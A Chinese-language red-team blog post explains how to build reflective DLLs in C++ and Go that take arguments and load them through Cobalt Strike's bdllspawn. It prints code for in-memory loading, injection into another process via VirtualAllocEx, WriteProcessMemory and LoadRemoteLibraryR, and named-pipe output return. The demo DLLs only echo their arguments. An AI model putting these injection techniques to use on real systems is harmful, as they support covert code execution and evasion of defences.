前言 Cobalt Strike已经成了目前工作中经常用渗透工具了,通常我们会通过写一下插件来武装自己的Cobalt Strike,比如我们会用bexecute_assembly
来对自己编写的Csharp
进行内存加载实现不落地。那么其他语言的呢?同样也提供了bdllspawn 来反射DLL。本文章主要讲的就是利用反射DLL来武装自己的Cobalt Strike。
C++ ReflectiveDLL 首先将C/C++编写的程序如何进行ReflectiveDLL,Cobalt Strike的bdllspawn是基于项目ReflectiveDLLInjection 实现的。我们只需要把C++编写的功能写到ReflectiveDll.c
里即可,这里参考倾旋 师傅的文章和工具。改写ReflectiveDll.c
来实现传参。
参数转换 引用与定义 1 2 3 4 5 6 7 8 9 10 #include "ReflectiveLoader.h" #include <string> #include <shellapi.h> #pragma comment(lib, "Shell32.lib" ) std ::string szargs;std ::wstring wszargs;std ::wstring wsHostFile;int argc = 0 ;LPWSTR* argv = NULL ;
参数类型转换 在ReflectiveDll.c
里是通过DLLMain函数的lpReserved
来当做参数传递,我们可以做一个类型的转换,将lpReserved
转换成命令行参数格式。
1 2 3 szargs = (PCHAR)lpReserved; wszargs = StringToWString(szargs); argv = CommandLineToArgvW(wszargs.data(), &argc);
功能编写 在转换参数后,我们就可以把一些C++功能代码写入,我这就简单编写一个参数输出功能,进行测试。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 hAppInstance = hinstDLL; printf ("C++ ReflectiveDLL\n" );if (lpReserved != NULL ) { szargs = (PCHAR)lpReserved; wszargs = StringToWString(szargs); argv = CommandLineToArgvW(wszargs.data(), &argc); } if (argv == NULL ) { printf ("[+] Error Arguments ! \n" ); break ; } printf ("[+] Args Count : %d \n" , argc);for (size_t i = 0 ; i < argc; i++){ wprintf(TEXT("[%d] %s \n" ), i, argv[i]); } fflush(stdout ); ExitProcess(0 ); break ;
Aggressor Script 编译ReflectiveDll.c
得到一个dll文件,然后编写一个Aggressor Script
脚本来加载它。
Aggressor Script脚本提供了一些关于反射DLL的接口:https://cobaltstrike.com/aggressor-script/functions.html#bdllspawn
1 2 3 4 alias hello { $args = substr($0, 6); bdllspawn($1, script_resource("reflective_dll.dll"),$args, "test dll", 5000, false); }
测试效果 这样我们就实现了将c++编写的dll通过ReflectiveDll来实现不落地传参执行了。
Golang ReflectiveDLL Golang也成了现在一些安全工作者用得比较多的一种语言了,使用Golang开发的安全工具也越来越多,所以我们也可以通过ReflectiveDLL来对Golang程序进行利用。
这里参考WBGlIl 师傅的项目go-ReflectiveDLL 和国外大佬的文章Weaponizing your favorite Go program for Cobalt Strike 。
特别感谢一下WBGlIl师傅,在我遇到问题的时候给予我的帮助~
main.go 参考WBGlIl师傅的项目,将main.go改成一个传入参数并输出参数的功能,并将test函数设置为导出函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package mainimport "C" import ( "fmt" "os" gsq "github.com/kballard/go-shellquote" ) func test (arg string ) { args, err := gsq.Split(arg) if err == nil { fmt.Println("Golang ReflectiveDLL" ) os.Args = args fmt.Printf("Args Count %d\n" ,len (os.Args)) for i := 0 ; i < len (os.Args); i++ { fmt.Printf("[%d] %s\n" ,i,os.Args[i]) } } } func main () {}
dllmain.c 参考老外文章将lpReserved
转换为 GoString
,传入到dll的导出函数test里。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #include "dllmain.h" #include <Windows.h> BOOL WINAPI DllMain ( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: { GoString goArgs = {0 }; if (lpReserved != NULL ){ goArgs.p = (char *)lpReserved; goArgs.n = strlen (lpReserved); }else { goArgs.p = "" ; goArgs.n = 0 ; } test(goArgs); } break ; case DLL_PROCESS_DETACH: break ; case DLL_THREAD_DETACH: break ; case DLL_THREAD_ATTACH: break ; } return TRUE; }
然后运行WBGlIl
师傅的项目里的x64.bat
来进行编译得到dll文件,但是Golang有一个最大的缺点就是编译出来的文件特别大,这里一个简单的输入输出工具生成的dll就有差不多2M。而在Cobalt Strike限制了反射DLL的DLL大小必须在1M以内,所以这里我们不能用Cobalt Strike进行测试。
Inject.c修改 ReflectiveDLLInjection项目中的inject是不能给DLL进行传参的,所以我们这里需要修改代码来进行传参。
注入当前进程 如果对当前进程进行注入可以修改代码,将输入参数传入到LoadRemoteLibraryR
函数的第四个参数即可。
1 2 LPVOID lpParameter = argv[3 ]; hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, lpParameter);
注入到其他进程 如果注入到其他进程的话,需要将参数写入到目标进程得到一个参数指针,再讲这个指针传入LoadRemoteLibraryR
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 lpRemoteMem = arg; argSize = strlen (arg); lpRemoteMem = VirtualAllocEx(hProcess, NULL , argSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!lpRemoteMem){ BREAK_WITH_ERROR("\t\t[!] FAILED to allocate memory in process.\n" ); CloseHandle(hProcess); break ; } printf ("[+] Memory allocated at : 0x%d in process %d\n" , lpRemoteMem, dwProcessId);printf ("[+] Attempting to write parameter in process %d \n" , dwProcessId);bWriteSuccess = WriteProcessMemory(hProcess, lpRemoteMem, arg, argSize, &numBytes); if (!bWriteSuccess){ printf ("[!] FAILED to write parameter. Wrote %d bytes instead of %d bytes.\n " , numBytes ,argSize); CloseHandle(hProcess); break ; } printf ("[+] Wrote parameter in remote process %d memory.\n" , dwProcessId);hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, lpRemoteMem); if ( !hModule ) BREAK_WITH_ERROR( "Failed to inject the DLL" ); printf ( "[+] Injected the '%s' DLL into process %d.\n" , cpDllFile, dwProcessId);
因为这里是注入到了其他进程里,所以当前进程是没有输出的。如果需要输出的话,可以修改DLL文件和Inject.c,即当前进程和DLL注入的进程之间用命名管道进行通信。这里以C++写的DLL为例。
inject.c 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 srand(time(NULL )); char buf[256 ] = "" ;DWORD rlen = 0 ; HANDLE hPipe = CreateNamedPipe( TEXT("\\\\.\\Pipe\\mypipe" ), PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0 , 0 , NMPWAIT_WAIT_FOREVER, NULL ); if (INVALID_HANDLE_VALUE == hPipe){ printf ("[+] Create Pipe Error(%d)\n" , GetLastError()); } else { printf ("[+] Create Pipe Success\n" ); printf ("[+] Waiting For Client Connection...\n" ); if (ConnectNamedPipe(hPipe, NULL ) == NULL ) { printf ("[+] Connection failed!\n" ); } else { printf ("[+] Connection Success!\n" ); } printf ("[+] Data From Pipe :\n\n" ); while (1 ) { if (ReadFile(hPipe, buf, 256 , &rlen, NULL )) { printf ("\t%s" , buf); } else { printf ("\n[+] Read Data From Pipe End!\n" ); break ; } } CloseHandle(hPipe); }
ReflectiveDll.cpp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 srand(time(NULL )); DWORD wlen = 0 ; BOOL bRet = WaitNamedPipe(TEXT("\\\\.\\Pipe\\mypipe" ), NMPWAIT_WAIT_FOREVER); if (!bRet){ printf ("connect the namedPipe failed!\n" ); break ; } HANDLE hPipe = CreateFile( TEXT("\\\\.\\Pipe\\mypipe" ), GENERIC_READ | GENERIC_WRITE, 0 , NULL , OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); hAppInstance = hinstDLL; char buf[256 ] = "" ;sprintf (buf, "C++ ReflectiveDLL\n" );WriteFile(hPipe, buf, sizeof (buf), &wlen, 0 ); if (lpReserved != NULL ) { szargs = (PCHAR)lpReserved; wszargs = StringToWString(szargs); argv = CommandLineToArgvW(wszargs.data(), &argc); } else { sprintf (buf, "Hello from test.dll. There is no parameter\n" ); WriteFile(hPipe, buf, sizeof (buf), &wlen, 0 ); } if (argv == NULL ) { sprintf (buf, "[+] Error Arguments ! \n" ); WriteFile(hPipe, buf, sizeof (buf), &wlen, 0 ); break ; } sprintf (buf, "[+] Args Count : %d \n" , argc);WriteFile(hPipe, buf, sizeof (buf), &wlen, 0 ); for (size_t i = 0 ; i < argc; i++){ sprintf (buf, "[%d] %s \n" , i, argv[i]); WriteFile(hPipe, buf, sizeof (buf), &wlen, 0 ); } CloseHandle(hPipe); fflush(stdout ); ExitProcess(0 );
这样就可以实现读取注入目标进程的输出了。
示例代码 https://github.com/uknowsec/ReflectiveDLLInjection-Notes
结语 在WBGlIl
师傅的帮助下,学习了ReflectiveDLL。本意是想用于Cobalt Strike插件的开发,但是Golang编译后的文件过大,导致Cobalt Strike并不能进行加载反射。有请教过别的师傅如何解决这个问题,方案好像都必须得落地待反射的Golang DLL,效果并不是太好。同时在最近新发布的Cobalt Strike4.1中有了一个新功能Beacon Object File (BOF),他可以解决文件过大的问题。
在官方文档help-beacon-object-files 有如下的一段话:
BOFs are also very small. A UAC bypass privilege escalation Reflective DLL implementation may weigh in at 100KB+. The same exploit, built as a BOF, is <3KB. This can make a big difference when using bandwidth constrained channels, such as DNS.
所以现在就差一个Cobalt Strike4.1啦~
References [1]
bdllspawn: https://cobaltstrike.com/aggressor-script/functions.html#bdllspawn [2]
ReflectiveDLLInjection: https://github.com/stephenfewer/ReflectiveDLLInjection [3]
倾旋: https://payloads.online/archivers/2020-03-02/1 [4]
WBGlIl: https://wbglil.github.io/ [5]
go-ReflectiveDLL: https://github.com/WBGlIl/go-ReflectiveDLL [6]
Weaponizing your favorite Go program for Cobalt Strike: https://ethicalchaos.dev/2020/01/26/weaponizing-your-favorite-go-program-for-cobalt-strike/ [7]
help-beacon-object-files: https://www.cobaltstrike.com/help-beacon-object-files